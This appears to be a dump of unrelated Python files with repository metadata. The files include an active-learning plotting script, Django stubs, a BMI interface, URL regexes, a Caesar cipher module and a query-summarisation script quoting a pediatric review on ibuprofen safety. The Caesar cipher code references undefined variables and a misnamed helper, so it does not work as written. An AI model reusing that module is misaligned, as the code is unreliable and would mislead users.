+ str(i) + '.pkl', 'rb')) # ll_1_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/learning_loss_2_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # ll_2_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/learning_loss_3_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # ll_3_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/ll2.0_margin_n_hidden1_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # ll2_margin_1_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/ll2.0_margin_n_hidden2_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # ll2_margin_2_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/ll2.0_margin_n_hidden3_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # ll2_margin_3_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/ll2.0_margin_only_n_hidden1_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # ll2_margin_only_accs.append(state['performance_history']) # # state = pickle.load(open('experiments/statistic/topics/torch_bn/margin_inter_i2000_b20_q100_' + str(i) + '.pkl', 'rb')) # margin_accs.append(state['performance_history']) state = pickle.load(open('experiments/statistic/topics/torch_bn/ll3_margin_bald_n_hidden1_i2000_b20_q200_test' + str(i) + '.pkl', 'rb')) ll3_margin_bald_1_accs.append(state['performance_history']) state = pickle.load(open('experiments/statistic/topics/torch_bn/ll2.1_margin_n_hidden1_i2000_b20_q200_test' + str(i) + '.pkl', 'rb')) ll2_1_margin_hidden1_accs.append(state['performance_history']) state = pickle.load(open('experiments/statistic/topics/torch_bn/ll2.1_margin_n_hidden2_i2000_b20_q200_test' + str(i) + '.pkl', 'rb')) ll2_1_margin_hidden2_accs.append(state['performance_history']) state = pickle.load(open('experiments/statistic/topics/torch_bn/ll2.1_margin_n_hidden3_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) ll2_1_margin_hidden3_accs.append(state['performance_history']) state = pickle.load(open('experiments/statistic/topics/torch_bn/ll2.2_margin_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) ll2_2_margin_accs.append(state['performance_history']) state = pickle.load(open('experiments/statistic/topics/torch_bn/ll2.2_exp_margin_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) ll2_2_exp_margin_accs.append(state['performance_history']) state = pickle.load(open('experiments/statistic/topics/torch_bn/ll3.1_margin_bald_n_hidden1_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) ll3_1_margin_bald_hidden1_accs.append(state['performance_history']) state = pickle.load(open('experiments/statistic/topics/torch_bn/ll3.1_margin_bald_n_hidden2_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) ll3_1_margin_bald_hidden2_accs.append(state['performance_history']) state = pickle.load(open('experiments/statistic/topics/torch_bn/ll4.0_margin_n_hidden2_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) ll4_margin_2_accs.append(state['performance_history']) state = pickle.load(open('statistic/topics/torch_bn/ll_ideal_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) ll_ideal_accs.append(state['performance_history']) state = pickle.load(open('statistic/topics/torch_bn/ll_ideal_reverse_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) ll_ideal_reverse_accs.append(state['performance_history']) # state = pickle.load(open('statistic/topics/torch_bn/sud_top20_trivial_encode_ad64_margin_sparse_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # sud_top20_margin_sparse_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/sud_top50_trivial_encode_ad64_margin_sparse_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # sud_top50_margin_sparse_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/sud_top100_trivial_encode_ad64_margin_sparse_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # sud_top100_margin_sparse_accs.append(state['performance_history']) # # state = pickle.load(open('experiments/statistic/topics/torch_bn/sud_top1000_trivial_encode_ad64_margin_sparse_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # sud_top1000_margin_sparse_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/sud_top1000_trivial_encode_ad64_margin_logit_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # sud_top1000_margin_logit_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/sud_top1000_trivial_encode_ad64_margin_logit_sum_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # sud_top1000_margin_logit_sum_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/sud_top1000_trivial_encode_ad64_margin_logit_sparse_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # sud_top1000_margin_logit_sparse_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/sud_top1000_trivial_encode_ad64_margin_logit_sparse_sum_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # sud_top1000_margin_logit_sparse_sum_accs.append(state['performance_history']) # n_queries = len(state['performance_history']) - 1 plot_conf_int(passive_e1_accs, 2000, 20, 200, 'passive', color='C0') # plot_conf_int(margin_accs, 2000, 20, 200, 'margin', color='C2') # plot_conf_int(passive_e5_accs, 2000, 20, n_queries, 'passive_e5', color='C1') # plot_conf_int(passive_e10_accs, 2000, 20, n_queries, 'passive_e10', color='C2') # plot_conf_int(passive_ae_e1_accs, 2000, 20, n_queries, 'passive_ae_e1', color='C3') # plot_conf_int(passive_ae_es01_t1_accs, 2000, 20, n_queries, 'passive_ae_es01_t1', color='C4') # plot_conf_int(passive_ae_es01_t2_accs, 2000, 20, n_queries, 'passive_ae_es01_t2', color='C5') # plot_conf_int(ll_1_accs, 2000, 20, n_queries, 'learning loss 1', color='C6') # plot_conf_int(ll_2_accs, 2000, 20, n_queries, 'learning loss 2', color='C7') # plot_conf_int(ll_3_accs, 2000, 20, n_queries, 'learning loss 3', color='C8') # # plot_conf_int(ll2_margin_1_accs, 2000, 20, n_queries, 'll2 margin 1', color='C9') # plot_conf_int(ll2_margin_2_accs, 2000, 20, n_queries, 'll2 margin 2', color='C10') # plot_conf_int(ll2_margin_3_accs, 2000, 20, n_queries, 'll2 margin 3', color='C11') # plot_conf_int(ll2_margin_only_accs, 2000, 20, n_queries, 'll2 margin only', color='C13') # plot_conf_int(ll3_margin_bald_1_accs, 2000, 20, n_queries, 'll3 margin bald 1', color='C14') # plot_conf_int(ll2_1_margin_hidden1_accs, 2000, 20, n_queries, 'll2.1 margin 1', color='C6') # plot_conf_int(ll2_1_margin_hidden2_accs, 2000, 20, n_queries, 'll2.1 margin 2', color='C7') # plot_conf_int(ll2_1_margin_hidden3_accs, 2000, 20, n_queries, 'll2.1 margin 3', color='C8') # plot_conf_int(ll2_2_margin_accs, 2000, 20, n_queries, 'll2.2', color='C8') # plot_conf_int(ll2_2_exp_margin_accs, 2000, 20, n_queries, 'll2.2', color='C9') # plot_conf_int(ll3_1_margin_bald_hidden1_accs, 2000, 20, 100, 'll3.1 margin bald 1', color='C9') # plot_conf_int(ll3_1_margin_bald_hidden2_accs, 2000, 20, 200, 'll3.1 margin bald 2', color='C11') # plot_conf_int(ll4_margin_2_accs, 2000, 20, 200, 'learning loss', color='C11') plot_conf_int(ll_ideal_accs, 2000, 20, 200, 'ideal learning loss', color='C1') # plot_conf_int(ll_ideal_reverse_accs, 2000, 20, 200, 'ideal learning loss reversed', color='C12') # plot_conf_int(sud_top20_margin_sparse_accs, 2000, 20, n_queries, 'sud sparse top 20', color='C11') # plot_conf_int(sud_top50_margin_sparse_accs, 2000, 20, n_queries, 'sud sparse top 50', color='C13') # plot_conf_int(sud_top100_margin_sparse_accs, 2000, 20, n_queries, 'sud sparse top 100', color='C14') # plot_conf_int(sud_top1000_margin_sparse_accs, 2000, 20, n_queries, 'sud 2', color='C15') # # plot_conf_int(sud_top1000_margin_logit_accs, 2000, 20, n_queries, 'sud margin logit top 1000 ', color='C16') # plot_conf_int(sud_top1000_margin_logit_sum_accs, 2000, 20, n_queries, 'sud margin logit sum top 1000', color='C17') # plot_conf_int(sud_top1000_margin_logit_sparse_accs, 2000, 20, n_queries, 'sud margin logit sparse top 1000', color='C18') # plot_conf_int(sud_top1000_margin_logit_sparse_sum_accs, 2000, 20, n_queries, 'sud margin logit sparse sum top 1000', color='C19') plt.xlabel('labeled set size') plt.ylabel('val accuracy') plt.legend(loc='lower right') plt.show()

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component/io/dmp_io.py

12rambau/damage_proxy_map

6796e5e4885378e3b634877610df9e6d94123de3

[ "MIT" ]

null

component/io/dmp_io.py

12rambau/damage_proxy_map

6796e5e4885378e3b634877610df9e6d94123de3

[ "MIT" ]

null

component/io/dmp_io.py

12rambau/damage_proxy_map

6796e5e4885378e3b634877610df9e6d94123de3

[ "MIT" ]

null

class DmpIo(): def __init__(self): # inputs self.event = None self.username = None self.password = None

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Python

eds/openmtc-gevent/futile/src/futile/multiprocess/__init__.py

piyush82/elastest-device-emulator-service

b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7

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null

eds/openmtc-gevent/futile/src/futile/multiprocess/__init__.py

piyush82/elastest-device-emulator-service

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[ "Apache-2.0" ]

null

eds/openmtc-gevent/futile/src/futile/multiprocess/__init__.py

piyush82/elastest-device-emulator-service

b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7

[ "Apache-2.0" ]

null

from RWLock import RWLock Lock = RWLock

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Python

env3/bin/django-admin.py

SAVE-UP/djsite

72cdddae011979f4b7e30b8bfea20bc22bdf7dbe

[ "MIT" ]

1

2021-05-06T02:32:21.000Z

env3/bin/django-admin.py

SAVE-UP/djsite

72cdddae011979f4b7e30b8bfea20bc22bdf7dbe

[ "MIT" ]

null

env3/bin/django-admin.py

SAVE-UP/djsite

72cdddae011979f4b7e30b8bfea20bc22bdf7dbe

[ "MIT" ]

null

#!/Users/cpieri/42/portfolio/env3/bin/python3 from django.core import management if __name__ == "__main__": management.execute_from_command_line()

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b4dd81893040334cf8f2c0d74d176982200da227

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py

Python

cloud-v2.0/verify/gol.py

13242084001/api

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[ "Apache-2.0" ]

null

cloud-v2.0/verify/gol.py

13242084001/api

71f57b485d685caae94a84b625d64be832cf8910

[ "Apache-2.0" ]

1

2021-03-25T23:58:32.000Z

cloud-v2.0/verify/gol.py

13242084001/api

71f57b485d685caae94a84b625d64be832cf8910

[ "Apache-2.0" ]

null

def _init(): global _global_dict _global_dict = {} def set_value(key, value): _global_dict[key] = value def get_value(key): return _global_dict.get(key) _init()

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b4df714ff7d0c04040c2ecf9c8ba4f2bbf178ee2

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py

Python

MyRepo/services/order_service_interface.py

aryanj723/psychic-disco

025656a2d30dab7bdaa488926742d6c868137906

[ "Apache-2.0" ]

null

MyRepo/services/order_service_interface.py

aryanj723/psychic-disco

025656a2d30dab7bdaa488926742d6c868137906

[ "Apache-2.0" ]

null

MyRepo/services/order_service_interface.py

aryanj723/psychic-disco

025656a2d30dab7bdaa488926742d6c868137906

[ "Apache-2.0" ]

null

import abc class OrderServiceInterface(metaclass=abc.ABCMeta): @abc.abstractmethod def addOrder(self, order_id, meals, distance): pass

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370cc96f8e3f3ab53fa75c3f58f28416bc97abb3

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py

Python

dataformat.py

gockie/tentacles

358cc4e46d924aa10b22cb44f5d5fd2fab6f348e

[ "Unlicense" ]

21

2016-05-26T19:35:55.000Z

2022-02-16T18:58:11.000Z

dataformat.py

gockie/tentacles

358cc4e46d924aa10b22cb44f5d5fd2fab6f348e

[ "Unlicense" ]

9

2016-05-27T10:42:44.000Z

2016-10-19T00:41:22.000Z

dataformat.py

gockie/tentacles

358cc4e46d924aa10b22cb44f5d5fd2fab6f348e

[ "Unlicense" ]

14

2016-05-27T03:22:51.000Z

2020-10-23T09:39:44.000Z

import json def formatListData(data): #format data as a JSON string dataString = json.dumps(data) return dataString

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py

Python

CARDREADER/LivCam/apps.py

monacotime/Live_card_reader_django

759945610701d7c630f6503f5adfcbb084d7060e

[ "MIT" ]

null

CARDREADER/LivCam/apps.py

monacotime/Live_card_reader_django

759945610701d7c630f6503f5adfcbb084d7060e

[ "MIT" ]

null

CARDREADER/LivCam/apps.py

monacotime/Live_card_reader_django

759945610701d7c630f6503f5adfcbb084d7060e

[ "MIT" ]

null

from django.apps import AppConfig class LivcamConfig(AppConfig): name = 'LivCam'

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Python

todoapp/projects/apps.py

deepakbansal08/Deepak-Bansal-django-drf-tutorial

7dd9d8456f89faa8248ea8e1b2c6f894de92aedc

[ "MIT" ]

null

todoapp/projects/apps.py

deepakbansal08/Deepak-Bansal-django-drf-tutorial

7dd9d8456f89faa8248ea8e1b2c6f894de92aedc

[ "MIT" ]

null

todoapp/projects/apps.py

deepakbansal08/Deepak-Bansal-django-drf-tutorial

7dd9d8456f89faa8248ea8e1b2c6f894de92aedc

[ "MIT" ]

null

from __future__ import unicode_literals from django.apps import AppConfig class ProjectConfig(AppConfig): name = 'projects' verbose_name = 'Projects sample application'

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2ea2f78c6dd17d217ccb100f8ff1041a600dcd0c

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py

Python

misc/jupyter_notebook/utils.py

eric-yyjau/eric-yyjau.github.io

af3832330635e48b4320dde801fc309c48f99e6f

[ "CC-BY-3.0" ]

null

misc/jupyter_notebook/utils.py

eric-yyjau/eric-yyjau.github.io

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[ "CC-BY-3.0" ]

null

misc/jupyter_notebook/utils.py

eric-yyjau/eric-yyjau.github.io

af3832330635e48b4320dde801fc309c48f99e6f

[ "CC-BY-3.0" ]

null

import numpy as np def print_words(words): for e in list(words): print(e, ': ', words[e]) def get_rand_img(H, W): return np.random.randn(H, W)

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2ec5c9bc9f41bdc123a61879bd57cae0ff765aca

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py

Python

summit/benchmarks/__init__.py

dswigh/summit

a1cecdd41df8119005173b46ac45fb22472628d6

[ "MIT" ]

60

2020-09-10T00:00:03.000Z

2022-03-08T10:45:02.000Z

summit/benchmarks/__init__.py

dswigh/summit

a1cecdd41df8119005173b46ac45fb22472628d6

[ "MIT" ]

57

2020-09-07T11:06:15.000Z

2022-02-16T16:30:48.000Z

summit/benchmarks/__init__.py

dswigh/summit

a1cecdd41df8119005173b46ac45fb22472628d6

[ "MIT" ]

12

2020-09-07T12:43:19.000Z

2022-02-26T09:58:01.000Z

from .snar import SnarBenchmark from .test_functions import Himmelblau, Hartmann3D, ThreeHumpCamel, DTLZ2, VLMOP2 from .experimental_emulator import * from .MIT import *

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2ee37dfc585af0f14e3fb69f4369232a457f93a0

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py

Python

src/modules/FileManager.py

Nevexo/reddit-dl

2b9c8a0cb567502ce26a0f280b0aaee621e26252

[ "MIT" ]

null

src/modules/FileManager.py

Nevexo/reddit-dl

2b9c8a0cb567502ce26a0f280b0aaee621e26252

[ "MIT" ]

null

src/modules/FileManager.py

Nevexo/reddit-dl

2b9c8a0cb567502ce26a0f280b0aaee621e26252

[ "MIT" ]

null

# reddit-dl Module: File Manager # By Nevexo (github.com/nevexo)

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null

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2efb2156bbd3d02afab802ea7de4ac2ab433eac9

1,272

py

Python

pymt/bmi/bmi.py

mwtoews/pymt

81a8469b0d0d115d21186ec1d1c9575690d51850

[ "MIT" ]

null

pymt/bmi/bmi.py

mwtoews/pymt

81a8469b0d0d115d21186ec1d1c9575690d51850

[ "MIT" ]

null

pymt/bmi/bmi.py

mwtoews/pymt

81a8469b0d0d115d21186ec1d1c9575690d51850

[ "MIT" ]

null

class Error(Exception): """Base class for BMI exceptions""" pass class VarNameError(Error): """Exception to indicate a bad input/output variable name""" def __init__(self, name): self.name = name def __str__(self): return self.name class BMI(object): def initialize(self, filename): pass def run(self, time): pass def finalize(self): pass def get_input_var_names(self): pass def get_output_var_names(self): pass def get_var_grid(self, var_name): pass def get_var_type(self, var_name): pass def get_var_units(self, var_name): pass def get_time_step(self): pass def get_start_time(self): pass def get_current_time(self): pass def get_end_time(self): pass def get_grid_rank(self, grid_id): pass def get_grid_spacing(self, grid_id): pass def get_grid_shape(self, grid_id): pass def get_grid_x(self, grid_id): pass def get_grid_y(self, grid_id): pass def get_grid_z(self, grid_id): pass def get_grid_connectivity(self, grid_id): pass def get_grid_offset(self, grid_id): pass

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3.99435

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0.158416

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1,272

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null

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1

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1

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4

2c0466476e7d7ec347c45ceefa97d54148a2f868

400

py

Python

pypartpicker/regex.py

lukadd16/pypartpicker

2fadced708ef1b6201a7cd4dbc7747b950c7e5c1

[ "MIT" ]

null

pypartpicker/regex.py

lukadd16/pypartpicker

2fadced708ef1b6201a7cd4dbc7747b950c7e5c1

[ "MIT" ]

null

pypartpicker/regex.py

lukadd16/pypartpicker

2fadced708ef1b6201a7cd4dbc7747b950c7e5c1

[ "MIT" ]

null

import re def get_list_links(string): list_regex = re.compile("((?:http|https)://(?:[a-z]{2}.pcpartpicker|pcpartpicker).com/list/(?:[a-zA-Z0-9]{6}))") return re.findall(list_regex, string) def get_product_links(string): product_regex = re.compile("((?:http|https)://(?:[a-z]{2}.pcpartpicker|pcpartpicker).com/product/(?:[a-zA-Z0-9]{6}))") return re.findall(product_regex, string)

33.333333

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400

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123

36.363636

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null

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4

2c0e81dab027b6f50339383dc267099506c12386

51

py

Python

custom_addons/sale_extend/models/__init__.py

wanbowen001/custom-addons

aceab2740520035cc36648702c72158d1c03550c

[ "MIT" ]

null

custom_addons/sale_extend/models/__init__.py

wanbowen001/custom-addons

aceab2740520035cc36648702c72158d1c03550c

[ "MIT" ]

null

custom_addons/sale_extend/models/__init__.py

wanbowen001/custom-addons

aceab2740520035cc36648702c72158d1c03550c

[ "MIT" ]

null

from . import pricelist, invoice, product_evaluate

25.5

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null

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1

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1

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4

2c16f638e8f6521b39e8a6d2ea203385338d382a

106

py

Python

ziptest.py

Dikaeinstein/Abyteofpython_exercises

93d78a7d2e82c10092d7e149f0a9a1e804dfd601

[ "MIT" ]

null

ziptest.py

Dikaeinstein/Abyteofpython_exercises

93d78a7d2e82c10092d7e149f0a9a1e804dfd601

[ "MIT" ]

null

ziptest.py

Dikaeinstein/Abyteofpython_exercises

93d78a7d2e82c10092d7e149f0a9a1e804dfd601

[ "MIT" ]

null

import cwd from zipfile import ZipFile with ZipFile("test.zip", "r") as myzip: myzip.printdir()

15.142857

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4.8

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106

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17.666667

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1

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true

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0

1

0

null

0

1

0

1

0

4

257d05f4ed3f1841a3377912af04c7c06490a22c

3,508

py

Python

caesar.py

Vl-tech-565/my_pet_projects

910ffca4b03b5beb2f3ed9626a95d7daef91da5d

[ "Unlicense" ]

1

2021-08-07T18:03:13.000Z

caesar.py

Vl-tech-565/my_pet_projects

910ffca4b03b5beb2f3ed9626a95d7daef91da5d

[ "Unlicense" ]

null

caesar.py

Vl-tech-565/my_pet_projects

910ffca4b03b5beb2f3ed9626a95d7daef91da5d

[ "Unlicense" ]

null

""" this module provides encryption and decryption of strings """ _eng_alphabet = [chr(i) for i in range(97, 123)] + [chr(i) for i in range(65, 91)] _rus_alphabet = [chr(i) for i in range(1072, 1104)] + [chr(i) for i in range(1040, 1072)] _alphabets = {'en': _eng_alphabet, 'rus': _rus_alphabet} def _add_encrypted_char(string, original_char, step): if char.isupper(): required_index = (alphabet.index(char) + step) % (alphabet_len // 2) + (alphabet_len // 2) encoded_str += alphabet[required_index] else: required_index = (alphabet.index(char) + step) % (alphabet_len // 2) encoded_str += alphabet[required_index] def encode(original_str, lang='en', step=1): '''Return the string with encoding chars according the chosen language. Numbers and other signs do not change.''' encoded_str = '' alphabet = _alphabets[lang] alphabet_len = len(alphabet) for char in original_str: if char in alphabet: add_encrypted_char(original_str, char, step) else: encoded_str += char return encoded_str def encode_all_lang(original_str, step=1): '''Return the string with encoding chars. Numbers and other signs do not change.''' encoded_str = '' for char in original_str: if not char.isalpha(): encoded_str += char for alphabet in _alphabets.values(): if char in alphabet: alphabet_len = len(alphabet) add_encrypted_char(original_str, char, step=step) return encoded_str def encode_pro(original_str, lang='en'): '''Return the string with encoding chars according the chosen language. Numbers and other signs do not change. The shift to encode the chars of each word is the length of the word.''' encoded_str = '' for word in original_str.split(): encoded_str += encode(word, lang=lang, step=len(word)) + ' ' return encoded_str def encode_pro_all_lang(original_str): '''Return the string with encoding chars. Numbers and other signs do not change. The shift to encode the chars of each word is the length of the word.''' encoded_str = '' for word in original_str.split(): encoded_str += encode_all_lang(word, step=len(word)) + ' ' return encoded_str def decode(original_str, lang='en', step=1): '''Return the string with decoding chars according the chosen language. Numbers and other signs do not change.''' return encode(original_str, lang=lang, step=-step) def decode_all_lang(original_str, step=1): '''Return the string with decoding chars. Numbers and other signs do not change.''' return encode_all_lang(original_str, step=-step) def decode_pro(original_str, lang='en'): '''Return the string with decoding chars according the chosen language. Numbers and other signs do not change. The shift to encode the chars of each word is the length of the word.''' encoded_str = '' for word in original_str.split(): encoded_str += encode(word, step=-len(word)) + ' ' return encoded_str def decode_pro_all_lang(original_str): '''Return the string with decoding chars according the chosen language. Numbers and other signs do not change. The shift to encode the chars of each word is the length of the word.''' encoded_str = '' for word in original_str.split(): encoded_str += encode_all_lang(word, step=-len(word)) + ' ' return encoded_str

32.481481

99

0.673033

502

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4.535857

0.141434

0.087835

0.052701

0.066755

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0.758454

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0.6491

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0

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108

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32.481481

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false

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0

null

0

1

0

null

0

4

257e6baf56bef5461f8e4df940e6b7be60cbbcd4

28,474

py

Python

Contextual-Query-Document-Summarization.py

liamca/simple_query_based_document_summarization

0df02e1b83bdfd826b4c9c631381d13875e4b1a8

[ "MIT" ]

1

2021-12-02T17:48:32.000Z

Contextual-Query-Document-Summarization.py

liamca/simple_query_based_document_summarization

0df02e1b83bdfd826b4c9c631381d13875e4b1a8

[ "MIT" ]

null

Contextual-Query-Document-Summarization.py

liamca/simple_query_based_document_summarization

0df02e1b83bdfd826b4c9c631381d13875e4b1a8

[ "MIT" ]

null

#!/usr/bin/env python # coding: utf-8 # https://www.sbert.net/docs/pretrained_models.html # Sample Text from https://doi.org/10.1186/s13052-021-00974-0;%20https://www.ncbi.nlm.nih.gov/pubmed/33514404/ from sentence_transformers import SentenceTransformer, util model = SentenceTransformer('nq-distilbert-base-v1') text = '''Ibuprofen belongs to the non-steroidal anti-inflammatory drugs (NSAIDs) and based on the most recent international guidelines is the currently recommended antipyretic and analgesic to be used in pediatric age together with paracetamol [1] [2] [3] . Its effectiveness to relieve pain and reduce fever discomfort is widely demonstrated by several clinical trials [4] [5] [6] [7] [8] [9] . Despite its commonly recognized efficacy and tolerability profile, starting from 2010 the Pediatric Working Group of the Italian Drugs Agency (AIFA) reported an increase of suspected adverse reactions possibly related to ibuprofen use in parallel with its growing over-the-counter consumption [10] . As a matter of fact, during the last decade a worrying rise of papers describing adverse events occurring in children under ibuprofen and other NSAIDs therapy have been published [11] [12] [13] [14] . The main reported side effects seem to involve the gastrointestinal system [11, 12] and the kidneys especially in feverish dehydrated individuals [13, 14] . Nevertheless, a possible role of NSAIDs in worsening the clinical course of bacterial as well as viral infections has also been suspected for decades, especially for skin and soft tissue infections (SSTI) [15] . In 2009 Legras et al. conducted a multicenter case-control study in order to establish whether the use of NSAIDs in the course of bacterial community-acquired infections in adults was associated with severe sepsis or septic shock [16] . Although the use of NSAIDs in patients with severe sepsis or septic shock did not differ from those with mild infection at the same infected site, a longer median time of antibiotic therapy was observed in NSAIDs' users [16] . Nevertheless, the impact of NSAIDs intake during bacterial infections remains controversial [15] . In this scenario, in April 2019 the French National Agency for the Safety of Medicines and Health Products (ANSM) issued a warning about the use of NSAIDs for patients with infectious diseases based on the analysis of 20 years of real-world safety data of ibuprofen and ketoprofen [17] . The analysis included 337 and 49 cases, respectively, over 20 years of infectious complications. Most of the complications were related to Streptococcus and occurred within 2 or 3 days from the starting of NSAI Ds' therapy [17] . In some cases, NSAIDs were administered concomitantly with antibiotics and in many cases without medical advice [17] . Following this warning, the ANSM released practical recommendations on NSAIDs use inviting to limit NSAIDs consumption at the minimal effective dose and for the shortest possible time [18, 19] . In details, treatment should be continued for no more than 3 days for fever and 5 days for pain and discontinued at symptoms resolution. Patients were advised not to assume more than one type of NSAIDs at a time [18, 19] . ANSM also stated that the use of NSAIDs has to be considered contraindicated in cases of chickenpox [20] . The exact mechanism on how NSAIDs might affect the pathogenesis of complicate infectious diseases is still unclear. It has been postulated that NSAIDs may mask the signs and symptoms of bacterial infection, thus delaying appropriate treatment [21] [22] [23] [24] . NSAI Ds may also modify the host inflammatory response both promoting neutrophils influx and inhibiting cytokine/interleukin/tissue necrosis factor production, thus creating a more suitable environment for bacterial growth [21] . Finally, it is postulated that fever itself has an important role in infection control and NSAIDs mediated fever suppression may interfere with the host control of viral and bacterial infections [21] . In light of the emerging evidences, the aim of this review was to critically evaluate the safety of ibuprofen during the course of pediatric infectious disease in order to highlight circumstances associated with higher risks and to promote safe and appropriate use of this drug in children. Chickenpox is a highly contagious, common epidemic disease in young children, with 90% of infections before the age of 10 years old and median onset of the disease at 3 years old [25] . The risk of chickenpox complications may be significantly increased after NSAIDs' exposure. In particular, NSAIDs are able to promote the development of bacterial super-infection, to mask symptoms and to cause delay management. Table 1 summarizes the data on ibuprofen use in children with chickenpox. One of the most common complications of chickenpox is represented by skin super-infections, mainly caused by group A streptococcal (GAS) infections, which are also responsible for necrotizing fasciitis (a rapidly progressive inflammatory infection of the fascia) with secondary necrosis of the subcutaneous tissues. A strong association between the use of NSAIDs and SSTI complications (mostly cellulitis and abscess) in children with chickenpox has been previously reported [23, 26] . Lesko et al. investigated the risk factors implicated in the development of necrotizing fasciitis, analyzing 224 subjects with chickenpox, of whom 52 with GAS infection and 172 with uncomplicated chickenpox [27] . Among the 224 children, 123 had taken ibuprofen or paracetamol (alone or in combination). The authors found that the use of ibuprofen was not associated with a higher risk of developing soft tissue necrosis, while the probability of a GAS infection was higher in subjects who had taken ibuprofen alone (OR 3.9, 95% CI: 1.3-12) [27] . More recently, Mikaeloff et al. conducted a 12-year epidemiological case-control study based on a cohort of 140,111 individuals with chickenpox diagnosis, to determine whether NSAIDs could increase the risk of severe skin complications [28] . Despite some potential biases related to the NSAIDs exposure, the authors concluded that the use of NSAIDs was associated with an increased risk of skin and soft tissue complications in the context of chickenpox, especially in children [28] . Souyri et al. evaluated the contribution of NSAIDs to the development of severe necrotizing soft tissue infections (NSTI) comparing 38 subjects with NSTI with 228 matched healthy controls [29] . The 38 subjects with NSTI were divided into three groups on the basis of age: 12 infants (0-23 months), 16 children (2-15 years) and 10 adults (> 15 years). Of the 38 patients with NSTI, 25 patients were exposed to ibuprofen (OR 31.38; 95% CI 6.40-153.84) and 24 presented with chickenpox (OR 17.55; 95% CI 3. 47-88.65) . This study indicates a strong association between the use of NSAIDs and severe NSTI, in particular in children with chickenpox [29] . As a consequence of these growing evidences, the use of ibuprofen for symptom control in chickenpox has been progressively abandoned [30, 31] . In conclusion, current evidences clearly underline a concrete risk of NSTI in children assuming ibuprofen during the course of chickenpox. Therefore, its use has to be strongly discouraged for the management of chickenpox related symptoms in children. Sepsis is a life-threatening organ dysfunction determined by a dysregulated host response to infections [32] . A number of case reports, concerning patients admitted to intensive care units, suggested that the use of NSAIDs might increase the severity of bacterial infections leading to shock and multiple organ failure [33] [34] [35] [36] . This seems to be consequent to life-threatening infections, mainly streptococcal, such as streptococcal toxic shock syndrome (STSS) or necrotizing fasciitis, but also driven by other organisms such as Staphylococcus spp. or Gramnegative bacilli [36] [37] [38] [39] . Several investigations reported a sequential relationship between the administration of NSAIDs and the progression of invasive GAS infections [35, 38, [40] [41] [42] [43] . Nevertheless, up to date, few studies have been published in children with conflicting results [44] [45] [46] . An epidemiologic study from the UK found that STSS was independently associated with NSAIDs use with a 3-fold increase, including children (OR: 3; 95% confidence interval, 1.30-6.93; p = 0.01) [44] . However, as well underlined by the authors, no data was collected regarding time, dose, indications, and specific NSAIDs used, making very difficult to draw any conclusion [44] . On the other hand, NSAIDs, particularly ibuprofen, have been used in most studies for the treatment of sepsis. In 1997 a randomized, double blind, placebo-controlled trial on adults conducted by Bernard et al. demonstrated that the group treated with ibuprofen showed decreased levels of prostacyclin and thromboxane as well as a quicker resolution of fever, tachycardia, oxygen consumption and lactic acidosis. However, the mortality rate by day 30 did not differ significantly in the ibuprofen and placebo groups (37% vs. 40%). No differences in terms of survival were observed between the 2 groups [45] . More recently, in 2012 Demirel et al. observed that sepsis parameters in preterm infants with patent ductus arteriosus (PDA) decreased after ibuprofen administration independently from antibiotic therapy [46] . Table 2 sums up the evidences highlighting the relationship between ibuprofen administration and sepsis in children. In conclusion, it remains unclear whether NSAIDs may have harmful effects during the course of systemic bacterial infection. We highlight the need for welldesigned pediatric trials in order to better define the relative risks and benefits of NSAIDs administration in this delicate setting. In order to investigate a possible causality between the intake of NSAIDs and the development of severe lung bacterial infections in childhood, Leroy et al. analyzed a prospective cohort of 5182 hospitalized children over a 3-years' period [47] . Of these, 32 (0.6%) had severe bacterial infections following treatment with NSAIDs, mainly ibuprofen, in the 15 days prior to the admission. Bacteriological studies identified the presence of Staphylococcus aureus, GAS and Streptococcus pneumoniae [47] . In US a retrospective study reported an increasing incidence of pleural empyema between 1993 and 1999, rising from one to five cases per 100,000 people aged less than [48] . Consistently with these findings, a retrospective study conducted in 2 French hospitals reported an increasing incidence of complicated pneumonia, defined as a pleural effusion and/or a lung cavitation in children [49] . Between 1995 and 1999, 3% of hospitalized cases of pneumonia were complicated when compared with 23% in 2003. Multivariate analysis identified ibuprofen exposure as the only pre-hospital treatment independently associated with a higher risk of empyema or lung abscess [49] . Interestingly, this study also correlated the increased prevalence of complicated pneumonia in France with rising sales of liquid ibuprofen and supported these data with supplementary analysis [49] . In a British prospective cohort of 160 children hospitalized for CAP between 2009 and 2011, 40 developed a pleural empyema. Pre-hospital NSAIDs exposure was as high as 82% in these children who developed pleural empyema, compared with 46% in uncomplicated cases [50] . 